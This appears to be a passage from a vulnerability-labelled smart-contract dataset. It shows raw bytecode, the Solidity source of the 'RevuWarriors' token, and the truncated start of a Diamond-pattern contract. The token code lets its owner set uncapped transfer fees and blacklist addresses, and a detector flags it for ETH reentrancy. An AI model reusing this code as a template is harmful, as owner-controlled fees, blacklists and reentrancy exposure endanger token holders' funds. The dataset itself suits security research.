356001600160a01b0381168114610bd357600080fd5b919050565b600060208284031215610be9578081fd5b610bf282610bbc565b9392505050565b60008060408385031215610c0b578081fd5b610c1483610bbc565b9150610c2260208401610bbc565b90509250929050565b600080600060608486031215610c3f578081fd5b610c4884610bbc565b9250610c5660208501610bbc565b9150604084013590509250925092565b60008060408385031215610c78578182fd5b610c8183610bbc565b946020939093013593505050565b6000602080835283518082850152825b81811015610cbb57858101830151858201604001528201610c9f565b81811115610ccc5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d2a57610d2a610d81565b500190565b600082821015610d4157610d41610d81565b500390565b600181811c90821680610d5a57607f821691505b60208210811415610d7b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122078118f9e2189508e17f4dc9e95f57fe984bd4abdd7e32149463c67c2c4a4a89d64736f6c63430008040033
{"success": true, "error": null, "results": {}}
8,591
0x350bfeee1bbce03c9e9ba8c3058415a8dc17cafb
/** *Submitted for verification at Etherscan.io on 2022-04-27 */ /** Telegram: https://t.me/revuwarriors Website: http://revurevolution.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract RevuWarriors is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "RevuWarriors"; string private constant _symbol = "RevuWarriors"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xFF5bAB38aFB8720Da0443c780a0C0F140d3E0214); address payable private _marketingAddress = payable(0xFF5bAB38aFB8720Da0443c780a0C0F140d3E0214); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 45000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610527578063dd62ed3e14610547578063ea1644d51461058d578063f2fde38b146105ad57600080fd5b8063a2a957bb146104a2578063a9059cbb146104c2578063bfd79284146104e2578063c3c8cd801461051257600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b41146101fe57806398a5c3151461048257600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611931565b6105cd565b005b34801561020a57600080fd5b50604080518082018252600c81526b5265767557617272696f727360a01b6020820152905161023991906119f6565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a4b565b61066c565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611a77565b610683565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ab8565b6106ec565b34801561036d57600080fd5b506101fc61037c366004611ae5565b610737565b34801561038d57600080fd5b506101fc61077f565b3480156103a257600080fd5b506102c16103b1366004611ab8565b6107ca565b3480156103c257600080fd5b506101fc6107ec565b3480156103d757600080fd5b506101fc6103e6366004611b00565b610860565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ab8565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611ae5565b61088f565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506101fc61049d366004611b00565b6108d7565b3480156104ae57600080fd5b506101fc6104bd366004611b19565b610906565b3480156104ce57600080fd5b506102626104dd366004611a4b565b610944565b3480156104ee57600080fd5b506102626104fd366004611ab8565b60106020526000908152604090205460ff1681565b34801561051e57600080fd5b506101fc610951565b34801561053357600080fd5b506101fc610542366004611b4b565b6109a5565b34801561055357600080fd5b506102c1610562366004611bcf565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059957600080fd5b506101fc6105a8366004611b00565b610a46565b3480156105b957600080fd5b506101fc6105c8366004611ab8565b610a75565b6000546001600160a01b031633146106005760405162461bcd60e51b81526004016105f790611c08565b60405180910390fd5b60005b81518110156106685760016010600084848151811061062457610624611c3d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066081611c69565b915050610603565b5050565b6000610679338484610b5f565b5060015b92915050565b6000610690848484610c83565b6106e284336106dd85604051806060016040528060288152602001611d83602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bf565b610b5f565b5060019392505050565b6000546001600160a01b031633146107165760405162461bcd60e51b81526004016105f790611c08565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107615760405162461bcd60e51b81526004016105f790611c08565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b457506013546001600160a01b0316336001600160a01b0316145b6107bd57600080fd5b476107c7816111f9565b50565b6001600160a01b03811660009081526002602052604081205461067d90611233565b6000546001600160a01b031633146108165760405162461bcd60e51b81526004016105f790611c08565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b81526004016105f790611c08565b601655565b6000546001600160a01b031633146108b95760405162461bcd60e51b81526004016105f790611c08565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016105f790611c08565b601855565b6000546001600160a01b031633146109305760405162461bcd60e51b81526004016105f790611c08565b600893909355600a91909155600955600b55565b6000610679338484610c83565b6012546001600160a01b0316336001600160a01b0316148061098657506013546001600160a01b0316336001600160a01b0316145b61098f57600080fd5b600061099a306107ca565b90506107c7816112b7565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016105f790611c08565b60005b82811015610a405781600560008686858181106109f1576109f1611c3d565b9050602002016020810190610a069190611ab8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3881611c69565b9150506109d2565b50505050565b6000546001600160a01b03163314610a705760405162461bcd60e51b81526004016105f790611c08565b601755565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b81526004016105f790611c08565b6001600160a01b038116610b045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f7565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bc15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f7565b6001600160a01b038216610c225760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f7565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f7565b60008111610dab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f7565b6000546001600160a01b03848116911614801590610dd757506000546001600160a01b03838116911614155b156110b857601554600160a01b900460ff16610e70576000546001600160a01b03848116911614610e705760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f7565b601654811115610ec25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f7565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0457506001600160a01b03821660009081526010602052604090205460ff16155b610f5c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f7565b6015546001600160a01b03838116911614610fe15760175481610f7e846107ca565b610f889190611c84565b10610fe15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f7565b6000610fec306107ca565b6018546016549192508210159082106110055760165491505b80801561101c5750601554600160a81b900460ff16155b801561103657506015546001600160a01b03868116911614155b801561104b5750601554600160b01b900460ff165b801561107057506001600160a01b03851660009081526005602052604090205460ff16155b801561109557506001600160a01b03841660009081526005602052604090205460ff16155b156110b5576110a3826112b7565b4780156110b3576110b3476111f9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110fa57506001600160a01b03831660009081526005602052604090205460ff165b8061112c57506015546001600160a01b0385811691161480159061112c57506015546001600160a01b03848116911614155b15611139575060006111b3565b6015546001600160a01b03858116911614801561116457506014546001600160a01b03848116911614155b1561117657600854600c55600954600d555b6015546001600160a01b0384811691161480156111a157506014546001600160a01b03858116911614155b156111b357600a54600c55600b54600d555b610a4084848484611440565b600081848411156111e35760405162461bcd60e51b81526004016105f791906119f6565b5060006111f08486611c9c565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610668573d6000803e3d6000fd5b600060065482111561129a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f7565b60006112a461146e565b90506112b08382611491565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ff576112ff611c3d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135357600080fd5b505afa158015611367573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138b9190611cb3565b8160018151811061139e5761139e611c3d565b6001600160a01b0392831660209182029290920101526014546113c49130911684610b5f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113fd908590600090869030904290600401611cd0565b600060405180830381600087803b15801561141757600080fd5b505af115801561142b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061144d5761144d6114d3565b611458848484611501565b80610a4057610a40600e54600c55600f54600d55565b600080600061147b6115f8565b909250905061148a8282611491565b9250505090565b60006112b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611638565b600c541580156114e35750600d54155b156114ea57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061151387611666565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154590876116c3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115749086611705565b6001600160a01b03891660009081526002602052604090205561159681611764565b6115a084836117ae565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116138282611491565b82101561162f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116595760405162461bcd60e51b81526004016105f791906119f6565b5060006111f08486611d41565b60008060008060008060008060006116838a600c54600d546117d2565b925092509250600061169361146e565b905060008060006116a68e878787611827565b919e509c509a509598509396509194505050505091939550919395565b60006112b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bf565b6000806117128385611c84565b9050838110156112b05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f7565b600061176e61146e565b9050600061177c8383611877565b306000908152600260205260409020549091506117999082611705565b30600090815260026020526040902055505050565b6006546117bb90836116c3565b6006556007546117cb9082611705565b6007555050565b60008080806117ec60646117e68989611877565b90611491565b905060006117ff60646117e68a89611877565b90506000611817826118118b866116c3565b906116c3565b9992985090965090945050505050565b60008080806118368886611877565b905060006118448887611877565b905060006118528888611877565b905060006118648261181186866116c3565b939b939a50919850919650505050505050565b6000826118865750600061067d565b60006118928385611d63565b90508261189f8583611d41565b146112b05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f7565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c757600080fd5b803561192c8161190c565b919050565b6000602080838503121561194457600080fd5b823567ffffffffffffffff8082111561195c57600080fd5b818501915085601f83011261197057600080fd5b813581811115611982576119826118f6565b8060051b604051601f19603f830116810181811085821117156119a7576119a76118f6565b6040529182528482019250838101850191888311156119c557600080fd5b938501935b828510156119ea576119db85611921565b845293850193928501926119ca565b98975050505050505050565b600060208083528351808285015260005b81811015611a2357858101830151858201604001528201611a07565b81811115611a35576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5e57600080fd5b8235611a698161190c565b946020939093013593505050565b600080600060608486031215611a8c57600080fd5b8335611a978161190c565b92506020840135611aa78161190c565b929592945050506040919091013590565b600060208284031215611aca57600080fd5b81356112b08161190c565b8035801515811461192c57600080fd5b600060208284031215611af757600080fd5b6112b082611ad5565b600060208284031215611b1257600080fd5b5035919050565b60008060008060808587031215611b2f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b6057600080fd5b833567ffffffffffffffff80821115611b7857600080fd5b818601915086601f830112611b8c57600080fd5b813581811115611b9b57600080fd5b8760208260051b8501011115611bb057600080fd5b602092830195509350611bc69186019050611ad5565b90509250925092565b60008060408385031215611be257600080fd5b8235611bed8161190c565b91506020830135611bfd8161190c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7d57611c7d611c53565b5060010190565b60008219821115611c9757611c97611c53565b500190565b600082821015611cae57611cae611c53565b500390565b600060208284031215611cc557600080fd5b81516112b08161190c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d205784516001600160a01b031683529383019391830191600101611cfb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7d57611d7d611c53565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d115f154c251f3d924d0e1607c0a9bd8f6ac7322413ac7df366ea0bdab2bd48964736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
8,592
0x84D95558623144604D4ab1a568Ed286B2aA8292F
// SPDX-License-Identifier: MIT pragma solidity ^0.7.1; pragma experimental ABIEncoderV2; // /******************************************************************************\ * Author: Nick Mudge <nick@perfectabstractions.com> (https://twitter.com/mudgen) /******************************************************************************/ interface IDiamondCut { enum FacetCutAction {Add, Replace, Remove} struct FacetCut { address facetAddress; FacetCutAction action; bytes4[] functionSelectors; } /// @notice Add/replace/remove any number of functions and optionally execute /// a function with delegatecall /// @param _diamondCut Contains the facet addresses and function selectors /// @param _init The address of the contract or facet to execute _calldata /// @param _calldata A function call, including function selector and arguments /// _calldata is executed with delegatecall on _init function diamondCut( FacetCut[] calldata _diamondCut, address _init, bytes calldata _calldata ) external; event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata); } // /******************************************************************************\ * Author: Nick Mudge <nick@perfectabstractions.com> (https://twitter.com/mudgen) * * Implementation of internal diamondCut function. /******************************************************************************/ library LibDiamond { bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("diamond.standard.diamond.storage"); struct FacetAddressAndPosition { address facetAddress; uint16 functionSelectorPosition; // position in facetFunctionSelectors.functionSelectors array } struct FacetFunctionSelectors { bytes4[] functionSelectors; uint16 facetAddressPosition; // position of facetAddress in facetAddresses array } struct DiamondStorage { // maps function selector to the facet address and // the position of the selector in the facetFunctionSelectors.selectors array mapping(bytes4 => FacetAddressAndPosition) selectorToFacetAndPosition; // maps facet addresses to function selectors mapping(address => FacetFunctionSelectors) facetFunctionSelectors; // facet addresses address[] facetAddresses; // Used to query if a contract implements an interface. // Used to implement ERC-165. mapping(bytes4 => bool) supportedInterfaces; // owner of the contract address contractOwner; } function diamondStorage() internal pure returns (DiamondStorage storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION; assembly { ds.slot := position } } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function setContractOwner(address _newOwner) internal { DiamondStorage storage ds = diamondStorage(); address previousOwner = ds.contractOwner; ds.contractOwner = _newOwner; emit OwnershipTransferred(previousOwner, _newOwner); } function contractOwner() internal view returns (address contractOwner_) { contractOwner_ = diamondStorage().contractOwner; } function enforceIsContractOwner() internal view { require(msg.sender == diamondStorage().contractOwner, "LibDiamond: Must be contract owner"); } modifier onlyOwner { require(msg.sender == diamondStorage().contractOwner, "LibDiamond: Must be contract owner"); _; } event DiamondCut(IDiamondCut.FacetCut[] _diamondCut, address _init, bytes _calldata); // Internal function version of diamondCut // This code is almost the same as the external diamondCut, // except it is using 'FacetCut[] memory _diamondCut' instead of // 'FacetCut[] calldata _diamondCut'. // The code is duplicated to prevent copying calldata to memory which // causes an error for a two dimensional array. function diamondCut( IDiamondCut.FacetCut[] memory _diamondCut, address _init, bytes memory _calldata ) internal { for (uint256 facetIndex; facetIndex < _diamondCut.length; facetIndex++) { addReplaceRemoveFacetSelectors( _diamondCut[facetIndex].facetAddress, _diamondCut[facetIndex].action, _diamondCut[facetIndex].functionSelectors ); } emit DiamondCut(_diamondCut, _init, _calldata); initializeDiamondCut(_init, _calldata); } function addReplaceRemoveFacetSelectors( address _newFacetAddress, IDiamondCut.FacetCutAction _action, bytes4[] memory _selectors ) internal { DiamondStorage storage ds = diamondStorage(); require(_selectors.length > 0, "LibDiamondCut: No selectors in facet to cut"); // add or replace functions if (_newFacetAddress != address(0)) { uint256 facetAddressPosition = ds.facetFunctionSelectors[_newFacetAddress].facetAddressPosition; // add new facet address if it does not exist if 